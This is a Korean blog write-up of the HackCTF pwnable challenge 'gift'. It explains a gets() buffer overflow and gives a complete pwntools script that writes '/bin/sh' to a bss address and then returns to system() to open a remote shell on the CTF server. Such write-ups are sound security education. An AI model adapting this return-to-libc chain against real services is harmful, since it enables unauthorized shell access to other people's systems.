문제 풀이 환경 : ubuntu 18.04 |
250점 짜리 문제인데 이정도는 껌이지 후훗
주어진 파일은 문제파일 바이너리
Analysis
IDA로 열어보자.
binsh 는 bss영역의 변수다.
binsh와 system 함수의 주소를 출력해준다.
printf 함수를 통해서 fsb가 트리거될 수 있는데 쓸만한거 주소들 다 출력해주니 딱히 leak할 것이 없어보였다. 실행중인 함수의 주소를 출력해주니깐...
마지막으로 gets 함수에서는 bof가 트리거된다.
여기서 RET를 system함수 주소로 바꾸고 인자를 '/bin/sh'로 주면 될 것 같다.
그래서 줘봤는데...
안되어서 보니깐 binsh 주소에 아무것도 저장되어 있지 않았다.. ㅠㅠ...!
그래서 먼저 gets 함수를 이용해서 저기다가 '/bin/sh\x00'을 넣어주고 system 함수를 호출해야겠다고 생각했다.
How to exploit!
1. first main => leak addr(binsh, system), gets(binsh) -> '/bin/sh\x00' 입력
2. second main => exploit! system(binsh)
Let's exploit!
from pwn import *
#p = process('./gift')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
log.info('[*] first main')
log.info('[*] leak addr')
leaks = p.recvline().split(' ')
binsh_leak = int(leaks[5], 16)
system_leak = int(leaks[6], 16)
#leak = int(p.recv(14),16)
log.info('[+]\tbinsh leak = '+ hex(binsh_leak))
log.info('[+]\tsystem leak = '+ hex(system_leak))
payload = ''
payload += 'a' * (0x84+0x4)
payload += p32(e.symbols['gets'])
payload += p32(0x08048546) # main
payload += p32(binsh_leak)
p.sendline('aa')
p.sendline(payload)
p.sendline('/bin/sh\x00')
log.info('[*] success to input binsh')
log.info('[*] second main')
#second
payload = ''
payload += 'a' * (0x84+0x4)
payload += p32(system_leak)
payload += 'bbbb'
payload += p32(binsh_leak)
p.sendline('aa')
#pause()
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] uaf 풀이 (32bit, uaf, 힙알못) (0) | 2021.04.15 |
---|---|
[HackCTF : Pwnable] pwning풀이 (32bit, underflow) (0) | 2021.04.15 |
[HackCTF : Pwnable] look at me 풀이 (32bit, mprotect) (0) | 2021.04.09 |
[HackCTF : Pwnable] look at me 풀이 (32bit, syscall) (0) | 2021.04.08 |
[HackCTF : Pwnable] RTL_Core 풀이 (32bit, RTL) (0) | 2021.04.05 |